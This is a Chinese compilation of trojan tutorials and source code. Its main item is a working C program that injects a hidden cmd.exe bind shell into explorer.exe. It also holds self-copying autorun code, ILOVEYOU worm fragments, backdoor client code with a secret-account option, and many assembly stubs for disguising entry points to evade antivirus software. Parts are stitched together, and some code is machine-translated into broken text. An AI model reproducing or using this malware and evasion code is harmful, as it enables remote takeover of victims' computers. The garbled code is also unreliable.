一个简单的木马原型基础代码
木马编写技巧

木马编写技巧1.锁定鼠标:这个函数非常简单。
只有一个clipcursor()可以处理它。
看看下面的小程序[CPP]viewplaincopyprint?1.#include2.#include3.intmain(intargc,char*argv[])4。
{5.printf(\别害怕15妙后你的鼠标就可以使用了^_^\\n\6.rectrect;7.rect。
底部=1;8.rect。
右=1;9.clipcursor(&rect);10.::sleep(15000);11.clipcursor(空);//释放12返回0;13.}注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处rect是一个结构,表示锁定的范围我们通常只用bottom和right两个域2.锁定键盘:锁键盘一般用钩子实现,所以难度稍大,不过下面这个程序当简单,而且连钩子所需要dll也省了[cpp]查看纯拷贝?1.#include2.#include3//处理关键信息的处理功能4.lresultcallbackkeyproc(intcode,5.wparamwparam,6.lparamlparam)7.{8.返回1;//返回1会阻止键盘响应9。
}10.main(intargc,char*argv[])11.{12.十三14.setwindowshookex(wh_keyboard,keyproc,getmodulehandle(null),0);// 安装键盘挂钩15.printf(\程序将在15妙之后返回...嘿嘿15妙内你的键盘是无法工作\\n\16.::睡眠(15000);17.}注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处上面的代码是参考了6期“全局钩子”和7期“楚茗”的文章写成的,使用钩子而无dll的关键就在于getmodulehandle(null),getmodulehandle()参数为null得到的是调用者本身的模块句柄,也就是说用程序本身作为dll。
qq木马源代码 (2)

/************************************************************************/
/* 其它直接用IoCallDriver把IRP传到下一层驱动中 */
/************************************************************************/
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //normal
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,
ULONG s_UpChar=0;
typedef struct _FILTER_DEVICE_EXTEN
{
PDEVICE_OBJECT pFilterDeviceObject;//过滤设备
PDEVICE_OBJECT pTagerDeviceObject;//绑定的设备对象
KSPIN_LOCK Lockspin;//调用时的保护锁
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //shift
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,
VisualC++很简单的木马代码

VisualC++很简单的木马代码Visual C++编程时用到了这些功能,现在我把它组装成一个很简单的木马了.本代码已封装成类方便代码重用:1,自我复制.2,修改注册表自动运行.3,关闭进程.4,启动程序.5,重启关机功能.交流class CTrojanHorse{public://add codepublic://add codeCTrojanHorse();~CTrojanHorse();protected://add codeBOOL IfShell(CString BeKissPrcName);BOOL CopyFileaddr(CString m_CopyFile);void ShellFile(CString m_ShellFile);BOOL SetAutoRun(CString strPath);void ShutDown();private://add code};CTrojanHorse::CTrojanHorse(){//add code}CTrojanHorse::~CTrojanHorse(){//add code}BOOL CTrojanHorse::IfShell(CString BeKissPrcName)//判断程序是否在运行{CString str,a,prcnum;// CMainFrame *pDlg=(CMainFrame *)lparam;//AfxMessageBox(pDlg->BeKissPrcName);HANDLESnapShot=CreateT oolhelp32Snapshot(TH32CS_SNAPPROCESS,0 );SHFILEINFO shSmall;PROCESSENTRY32 ProcessInfo;//声明进程信息变量ProcessInfo.dwSize=sizeof(ProcessInfo);//设置ProcessInfo的大小//返回系统中第一个进程的信息BOOL Status=Process32First(SnapShot,&ProcessInfo);int m_nProcess=0;int num=0;while(Status){ num++;m_nProcess++;ZeroMemory(&shSmall,sizeof(shSmall));//获取进程文件信息SHGetFileInfo(ProcessInfo.szExeFile,0,&shSmall,sizeof(shSmall),SHGFI_ICON|SHGFI_SMALLICON);//str.Format("%08x",ProcessInfo.th32ProcessID);str=ProcessInfo.szExeFile;if(str==BeKissPrcName){AfxMessageBox("找到进程成功!");return true;}//获取下一个进程的信息Status=Process32Next(SnapShot,&ProcessInfo);}AfxMessageBox("失败!");return false;}BOOL CTrojanHorse::CopyFileaddr(CString m_CopyFile)//复制文件{char pBuf[MAX_PATH];CString m_addr;// CString m_strSrcFile1="D:/OperateFile.exe";// CString m_addr="D:/SVCLSV.exe"; //存放路径的变量GetCurrentDirectory(MAX_PATH,pBuf); //获取程序的当前目录strcat(pBuf,"\\");strcat(pBuf,AfxGetApp()->m_pszExeName);strcat(pBuf,".exe");m_addr=pBuf;if(CopyFile(m_addr,m_CopyFile,FALSE)){AfxMessageBox("复制成功!");return true;}return false;}void CTrojanHorse::ShellFile(CString m_ShellFile)//执行所要的程序{ShellExecute(NULL,"open",m_ShellFile,NULL,NULL,SW_SHO WNORMAL);}BOOL CTrojanHorse::SetAutoRun(CString strPath)//修改注册表{CString str;HKEY hRegKey;BOOL bResult;str=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Ru n");if(RegOpenKey(HKEY_LOCAL_MACHINE, str, &hRegKey) != ERROR_SUCCESS)bResult=FALSE;else{_splitpath(strPath.GetBuffer(0),NULL,NULL,str.GetBufferSetL ength(MAX_PATH+1),NULL);strPath.ReleaseBuffer();str.ReleaseBuffer();if(::RegSetValueEx( hRegKey,str,0,REG_SZ,(CONST BYTE *)strPath.GetBuffer(0),strPath.GetLength() ) != ERROR_SUCCESS)bResult=FALSE;elsebResult=TRUE;strPath.ReleaseBuffer();}return bResult;}void CTrojanHorse::ShutDown()//重新启动计算机{if (IDYES == MessageBox("是否现在重新启动计算机?", "注册表提示", MB_YESNO)){OSVERSIONINFO OsVerInfo; //保存系统版本信息的数据结构OsVerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);GetVersionEx(&OsVerInfo);//取得系统的版本信息CString str1 = "", str2 = "";str1.Format("你的系统信息\n版本为:%d.%d\n", OsVerInfo.dwMajorVersion,OsVerInfo.dwMinorVersion);str2.Format("型号:%d\n", OsVerInfo.dwBuildNumber);str1 += str2;AfxMessageBox(str1);if(OsVerInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) ExitWindowsEx(EWX_REBOOT | EWX_SHUTDOWN, 0); //重新启动计算机}}。
网上看到的一个用C语言编写的木马源程序代码大家一起学学

FARPROC PCreateProcessA;
FARPROC PPeekNamedPipe;
FARPROC PWriteFile;
FARPROC PReadFile;
FARPROC PCloseHandle;
FARPROC PCreatePipe;
FARPROC PMessageBoxA;
FARPROC PWSAStartup;
FARPROC PSocket;
FARPROC Phtons;
FARPROC Pbind;
FARPROC Plisten;
FARPROC Paccept;
FARPROC Psend;
FARPROC Precv;
PMessageBoxA = (FARPROC)Para->dwMessageBox;
nVersion = MAKEWORD(2,1);
PWSAStartup(nVersion, (LPWSADATA)&WSAData);
listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);
if(!PWriteFile(hWritePipe2, Para->Buff, lBytesRead, &lBytesRead, 0))break;
}
}
PCloseHandle(hWritePipe2);
PCloseHandle(hReadPipe1);
PCloseHandle(hReadPipe2);
memset(Para->Buff,0,4096);
木马的源代码

Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt
}"
scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"\\LOVE-LETTER-FOR-YOU.HTM"
Explorer\\Main\\Start
Page"," "
elseif num = 3 then
regcreate "HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Start
Page"," "
elseif num = 4 then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or
用C#实现木马程序

用C#实现木马程序本文是探讨木马程序,所以在介绍之前有一些木马构成的基本知识事先说明。
一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。
这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。
控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。
使用的技术:控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。
技术不是很难的,主要体现C#的网络编程和注册表的修改。
控制端开发:控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
控制端的开发:控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
1、连接请求使用了.NET类中的.Sockets.TcpClient类,TcpClient(string hostname,int port)Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类private void button7_Click(object sender, System.EventArgs e){//记录操作,在richTextBox控件中增加操作信息richTextBox1.AppendText("请求连接" +textBox1.Text +"\r");int port =6678;try{//初始化TcpClient 类的新实例并连接到指定主机上的指定端口client = new TcpClient(textBox1.Text,port);}catch{MessageBox.Show("服务器不在线!确定是否输入主机名称.");richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");}}//private void buttion2、测试是否与被控制机连接上。
一个简单木马程序

一个简单木马程序程序清单:客户CPP//客户端代码:服务器CPP//服务器端代码程序代码及说明://client.cpp文件#包括//包括标准I/O库#include//包含windows套接字函数#includeusingnamespacestd;//将注释wsock32放入Lib文件中,否则需要加载#definemaxsize2048//每次可接收的最大字节数#definesend_port2000//与木马程序连接的端口为2000structsockaddr_inclientaddr;//对方的地址端口信息socketsock;//将套接字变量定义为全局变量dwordstartsock()//创建套接字函数模块{wsadatawsdata;//将wsdata的数据类型声明为wsadataif(wsastartup(makeword (2,2),&wsdata)!=0){//makeword(2,2)预定义Winsock版本,并初始化套接字printf(\return(-1);}sock=socket(af_inet,sock_stream,0);//连接另一个Return1;}intmain(intargc,char*argv[]){u_intnumbyte;charbuf[maxsize];//传送数据的缓冲区charip[100];cout<>ip;startsock();//调用建立套接字功能函数clientaddr.sin_family=af_inet;//协议类型是inetclientaddr.sin_port=htons(send_port);//连接对方2000端口clientaddr.sin_addr.s_addr=inet_addr(ip);//连接对方的ip地址connect(sock,(structsockaddr*)&clientaddr,sizeof(structsockaddr));printf(\远程控制木马程序菜单-------------\\r\\n\printf(\--建立windows系统的秘密帐号\\r\\n\printf(\--关闭windows计算机\\r\\n\printf(\--重新启动windows计算机\\r\\n\printf(\--关闭光驱\\r\\n\printf(\--打开光驱\\r\\n\一printf(\--建立cmd进程\\r\\n\printf(\--退出系统\\r\\n\printf(\while(1){buf[0]='\\0';scanf(\输入控制指令intilen=strlen(buf);buf[ilen]=0xa;buf[ilen+1]='\\0';//要求控制指令串最后为回车符,以示结束numbyte=send(sock,buf,strlen(buf),0);//发出控制指令if(numbyte==socket_error){closesocket(sock);break;}numbyte=recv(sock,buf,maxsi ze,0);//接收服务端发来的提示符if(numbyte==socket_error){closesocket(sock);break;}buf[numbyte]='\\0';printf(\显示服务端发来的提示符if(strcmp(buf,\{closesocket(sock);return0;}}return0;}//服务器。
怎样编写一个简单木马

怎样编写一个简单木马,新手可以看看特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在A T&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。
那时木马的主要方法是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。
国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。
直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。
为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。
目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
一个简单的木马原型基础代码添加上自己的XXX,加上变态的壳,做点小修改,就可以.....#include<winsock2.h>#pragma comment(lib,"ws2_32.lib")#include<windows.h>#include <Shlwapi.h>#pragma comment(lib,"Shlwapi.lib")#include <tlhelp32.h>#include <stdio.h>#include <string.h>//参数结构;typedef struct _RemotePara{DWORD dwLoadLibrary;DWORD dwFreeLibrary;DWORD dwGetProcAddress;DWORD dwGetModuleHandle;DWORD dwWSAStartup;DWORD dwSocket;DWORD dwhtons;DWORD dwbind;DWORD dwlisten;DWORD dwaccept;DWORD dwsend;DWORD dwrecv;DWORD dwclosesocket;DWORD dwCreateProcessA;DWORD dwPeekNamedPipe;DWORD dwWriteFile;DWORD dwReadFile;DWORD dwCloseHandle;DWORD dwCreatePipe;DWORD dwTerminateProcess;DWORD dwMessageBox;char strMessageBox[12];char winsockDll[16];char cmd[10];char Buff[4096];char telnetmsg[60];}RemotePara;// 提升应用级调试权限BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);// 根据进程名称得到进程IDDWORD GetPidByName(char *szName);// 远程线程执行体DWORD __stdcall ThreadProc(RemotePara *Para){WSADATA WSAData;WORD nVersion;SOCKET listenSocket;SOCKET clientSocket;struct sockaddr_in server_addr;struct sockaddr_in client_addr;int iAddrSize = sizeof(client_addr);SECURITY_ATTRIBUTES sa;HANDLE hReadPipe1;HANDLE hWritePipe1;HANDLE hReadPipe2;HANDLE hWritePipe2;STARTUPINFO si;PROCESS_INFORMA TION ProcessInformation;unsigned long lBytesRead = 0;typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR); typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);FARPROC PMessageBoxA;FARPROC PWSAStartup;FARPROC PSocket;FARPROC Phtons;FARPROC Pbind;FARPROC Plisten;FARPROC Paccept;FARPROC Psend;FARPROC Precv;FARPROC Pclosesocket;FARPROC PCreateProcessA;FARPROC PPeekNamedPipe;FARPROC PWriteFile;FARPROC PReadFile;FARPROC PCloseHandle;FARPROC PCreatePipe;FARPROC PTerminateProcess;PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para->dwLoadLibrary; PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para->dwGetProcAddress; PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para->dwFreeLibrary;PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para->dwGetModuleHandle; LoadLibraryFunc(Para->winsockDll);PWSAStartup = (FARPROC)Para->dwWSAStartup;PSocket = (FARPROC)Para->dwSocket;Phtons = (FARPROC)Para->dwhtons;Pbind = (FARPROC)Para->dwbind;Plisten = (FARPROC)Para->dwlisten;Paccept = (FARPROC)Para->dwaccept;Psend = (FARPROC)Para->dwsend;Precv = (FARPROC)Para->dwrecv;Pclosesocket = (FARPROC)Para->dwclosesocket;PCreateProcessA = (FARPROC)Para->dwCreateProcessA;PPeekNamedPipe = (FARPROC)Para->dwPeekNamedPipe;PWriteFile = (FARPROC)Para->dwWriteFile;PReadFile = (FARPROC)Para->dwReadFile;PCloseHandle = (FARPROC)Para->dwCloseHandle;PCreatePipe = (FARPROC)Para->dwCreatePipe;PTerminateProcess = (FARPROC)Para->dwTerminateProcess;PMessageBoxA = (FARPROC)Para->dwMessageBox;nVersion = MAKEWORD(2,1);PWSAStartup(nVersion, (LPWSADATA)&WSAData);listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);if(listenSocket == INV ALID_SOCKET)return 0;server_addr.sin_family = AF_INET;server_addr.sin_port = Phtons((unsigned short)(8129));server_addr.sin_addr.s_addr = INADDR_ANY;if(Pbind(listenSocket, (struct sockaddr *)&server_addr, sizeof(SOCKADDR_IN)) != 0)return 0; if(Plisten(listenSocket, 5))return 0;clientSocket = Paccept(listenSocket, (struct sockaddr *)&client_addr, &iAddrSize);// Psend(clientSocket, Para->telnetmsg, 60, 0);if(!PCreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))return 0;if(!PCreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))return 0;ZeroMemory(&si,sizeof(si)); //ZeroMemory是C运行库函数,可以直接调用si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;si.wShowWindow = SW_HIDE;si.hStdInput = hReadPipe2;si.hStdOutput = si.hStdError = hWritePipe1;if(!PCreateProcessA(NULL,Para->cmd,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformatio n))return 0;while(1) {memset(Para->Buff,0,4096);PPeekNamedPipe(hReadPipe1,Para->Buff,4096,&lBytesRead,0,0);if(lBytesRead) {if(!PReadFile(hReadPipe1, Para->Buff, lBytesRead, &lBytesRead, 0))break;if(!Psend(clientSocket, Para->Buff, lBytesRead, 0))break;}else {lBytesRead=Precv(clientSocket, Para->Buff, 4096, 0);if(lBytesRead <=0 ) break;if(!PWriteFile(hWritePipe2, Para->Buff, lBytesRead, &lBytesRead, 0))break;}}PCloseHandle(hWritePipe2);PCloseHandle(hReadPipe1);PCloseHandle(hReadPipe2);PCloseHandle(hWritePipe1);Pclosesocket(listenSocket);Pclosesocket(clientSocket);// PMessageBoxA(NULL, Para->strMessageBox, Para->strMessageBox, MB_OK);return 0;}int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow){const DWORD THREADSIZE=1024*4;DWORD byte_write;void *pRemoteThread;HANDLE hToken,hRemoteProcess,hThread;HINSTANCE hKernel,hUser32,hSock;RemotePara myRemotePara,*pRemotePara;DWORD pID;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken); EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);// 获得指定进程句柄,并设其权限为PROCESS_ALL_ACCESSpID = GetPidByName("EXPLORER.EXE");if(pID == 0)return 0;hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);if(!hRemoteProcess)return 0;// 在远程进程地址空间分配虚拟内存pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);if(!pRemoteThread)return 0;// 将线程执行体ThreadProc写入远程进程if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, &ThreadProc, THREADSIZE,0))return 0;ZeroMemory(&myRemotePara,sizeof(RemotePara));hKernel = LoadLibrary( "kernel32.dll");myRemotePara.dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA"); myRemotePara.dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary"); myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress"); myRemotePara.dwGetModuleHandle = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");myRemotePara.dwCreateProcessA = (DWORD)GetProcAddress(hKernel, "CreateProcessA");myRemotePara.dwPeekNamedPipe = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe");myRemotePara.dwWriteFile = (DWORD)GetProcAddress(hKernel, "WriteFile"); myRemotePara.dwReadFile = (DWORD)GetProcAddress(hKernel, "ReadFile"); myRemotePara.dwCloseHandle = (DWORD)GetProcAddress(hKernel, "CloseHandle"); myRemotePara.dwCreatePipe = (DWORD)GetProcAddress(hKernel, "CreatePipe");myRemotePara.dwTerminateProcess = (DWORD)GetProcAddress(hKernel, "TerminateProcess");hSock = LoadLibrary("wsock32.dll");myRemotePara.dwWSAStartup = (DWORD)GetProcAddress(hSock,"WSAStartup"); myRemotePara.dwSocket = (DWORD)GetProcAddress(hSock,"socket"); myRemotePara.dwhtons = (DWORD)GetProcAddress(hSock,"htons"); myRemotePara.dwbind = (DWORD)GetProcAddress(hSock,"bind"); myRemotePara.dwlisten = (DWORD)GetProcAddress(hSock,"listen"); myRemotePara.dwaccept = (DWORD)GetProcAddress(hSock,"accept"); myRemotePara.dwrecv = (DWORD)GetProcAddress(hSock,"recv"); myRemotePara.dwsend = (DWORD)GetProcAddress(hSock,"send"); myRemotePara.dwclosesocket = (DWORD)GetProcAddress(hSock,"closesocket");hUser32 = LoadLibrary("user32.dll");myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA");strcat(myRemotePara.strMessageBox,"Sucess!\\0");strcat(myRemotePara.winsockDll,"wsock32.dll\\0");strcat(myRemotePara.cmd,"cmd.exe\\0");strcat(myRemotePara.telnetmsg,"Connect Sucessful!\\n\\0");//写进目标进程pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);if(!pRemotePara)return 0;if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;// 启动线程hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write);while(1) {}FreeLibrary(hKernel);FreeLibrary(hSock);FreeLibrary(hUser32);CloseHandle(hRemoteProcess);CloseHandle(hToken);return 0;}BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL,szPrivName,&tp.Privileges[0].Luid);tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0; AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);return((GetLastError() == ERROR_SUCCESS));}DWORD GetPidByName(char *szName){HANDLE hProcessSnap = INV ALID_HANDLE_V ALUE; PROCESSENTRY32 pe32={0};DWORD dwRet=0;hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if(hProcessSnap == INV ALID_HANDLE_V ALUE)return 0;pe32.dwSize = sizeof(PROCESSENTRY32);if(Process32First(hProcessSnap, &pe32)){do{if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0){dwRet=pe32.th32ProcessID;break;}}while (Process32Next(hProcessSnap,&pe32));}else return 0;if(hProcessSnap !=INVALID_HANDLE_V ALUE)CloseHandle(hProcessSnap); return dwRet;1.伪装vc++5.0代码:PUSH EBPMOV EBP,ESPPUSH -1push 415448 -\___PUSH 4021A8 -/ 在这段代码中类似这样的操作数可以乱填MOV EAX,DWORD PTR FS:[0]PUSH EAXMOV DWORD PTR FS:[0],ESPADD ESP,-6CPUSH EBXPUSH ESIPUSH EDIADD BYTE PTR DS:[EAX],AL /这条指令可以不要!jmp 原入口地址************************************************************************ 2.胡乱跳转代码:noppush ebpmov ebp,espinc ecxpush edxnoppop edxdec ecxpop ebpinc ecxloop somewhere /跳转到上面那段代码地址去!somewhere:nop /"胡乱"跳转的开始...jmp 下一个jmp的地址/在附近随意跳jmp ... /...jmp 原入口地址/跳到原始oep90 55 8B EC 41 52 90 5A 49 5D 41转储免杀************************************************************************ 3.伪装c++代码:push ebpmov ebp,esppush -1push 111111push 222222mov eax,fs:[0]push eaxmov fs:[0],esppop eaxmov fs:[0],eaxpop eaxpop eaxpop eaxpop eaxmov ebp,eaxjmp 原入口地址************************************************************************ 4.伪装Microsoft Visual C++ 6.0代码:PUSH -1PUSH 0PUSH 0MOV EAX,DWORD PTR FS:[0]PUSH EAXMOV DWORD PTR FS:[0],ESPSUB ESP,68PUSH EBXPUSH ESIPUSH EDIPOP EAXPOP EAXPOP EAXADD ESP,68POP EAXMOV DWORD PTR FS:[0],EAXPOP EAXPOP EAXPOP EAXPOP EAXMOV EBP,EAXJMP 原入口地址push ebpmov ebp,espjmp************************************************************************ 5.伪装防杀精灵一号防杀代码:push ebpmov ebp,esppush -1push 666666push 888888mov eax,dword ptr fs:[0]push eaxmov dword ptr fs:[0],esppop eaxmov dword ptr fs:[0],eaxpop eaxpop eaxpop eaxpop eaxmov ebp,eaxjmp 原入口地址************************************************************************ 6.伪装防杀精灵二号防杀代码:push ebpmov ebp,esppush -1push 0push 0mov eax,dword ptr fs:[0]push eaxmov dword ptr fs:[0],espsub esp,68push ebxpush esipush edipop eaxpop eaxpop eaxadd esp,68pop eaxmov dword ptr fs:[0],eaxpop eaxpop eaxpop eaxpop eaxmov ebp,eaxjmp 原入口地址************************************************************************ 7.伪装木马彩衣(无限复活袍)代码:PUSH EBPMOV EBP,ESPPUSH -1push 415448 -\___PUSH 4021A8 -/ 在这段代码中类似这样的操作数可以乱填MOV EAX,DWORD PTR FS:[0]PUSH EAXMOV DWORD PTR FS:[0],ESPADD ESP,-6CPUSH EBXPUSH ESIPUSH EDIADD BYTE PTR DS:[EAX],AL /这条指令可以不要!jo 原入口地址jno 原入口地址call 下一地址************************************************************************ 8.伪装木马彩衣(虾米披风)代码:push ebpnopnopmov ebp,espinc ecxnoppush edxnopnoppop edxnoppop ebpinc ecxloop somewhere /跳转到下面那段代码地址去!someshere:nop /"胡乱"跳转的开始...jmp 下一个jmp的地址/在附近随意跳jmp ... /...jmp 原入口的地址/跳到原始oep9.伪装花花添加器(神话)代码:-----------根据C++改nopnopnopmov ebp,esppush -1push 111111push 222222mov eax,dword ptr fs:[0]push eaxmov dword ptr fs:[0],esppop eaxmov dword ptr fs:[0],eaxpop eaxpop eaxpop eaxpop eaxmov ebp,eaxmov eax,原入口地址push eaxretn************************************************************************ 10.伪装花花添加器(无极)代码:nopmov ebp, esppush -1push 0A2C2Apush 0D9038mov eax, fs:[0]push eaxmov fs:[0], esppop eaxmov fs:[0], eaxpop eaxpop eaxpop eaxpop eaxmov ebp, eaxmov eax, 原入口地址jmp eax************************************************************************ 11.伪装花花添加器(金刚)代码:--------根据VC++5.0改nopnopmov ebp, esppush -1push 415448push 4021A8mov eax, fs:[0]push eaxmov fs:[0], espadd esp, -6Cpush ebxpush esipush ediadd [eax], almov eax,原入口地址jmp eax************************************************************************ 12.伪装花花添加器(杀破浪)代码:nopmov ebp, esppush -1push 0push 0mov eax, fs:[0]push eaxmov fs:[0], espsub esp, 68push ebxpush esipush edipop eaxpop eaxpop eaxadd esp, 68pop eaxmov fs:[0], eaxpop eaxpop eaxpop eaxpop eaxmov ebp, eaxmov eax, 原入口地址jmp eax************************************************************************ 12.伪装花花添加器(痴情大圣)代码:nop..........省略N行nopnoppush ebpmov ebp, espadd esp, -0Cadd esp, 0Cmov eax, 原入口地址push eaxretn************************************************************************ 13.伪装花花添加器(如果*爱)代码:nop........省略N行nopnoppush ebpmov ebp, espinc ecxpush edxnoppop edxdec ecxpop ebpinc ecxmov eax, 原入口地址jmp eax************************************************************************ 14.伪装PEtite 2.2 -> Ian Luck代码:mov eax,0040E000push 004153F3push dword ptr fs:[0]mov dword ptr fs:[0],esppushfwpushadpush eaxxor ebx,ebxpop eaxpopadpopfwpop dword ptr fs:[0]pop eaxjmp 原入口地址'执行到程序的原有OEP************************************************************************ 15.无效PE文件代码:push ebpmov ebp,espinc ecxpush edxnoppop edxdec ecxpop ebpinc ecxMOV DWORD PTR FS:[0],EAX \POP EAX |POP EAX \MOV DWORD PTR FS:[0],EAX |(注意了。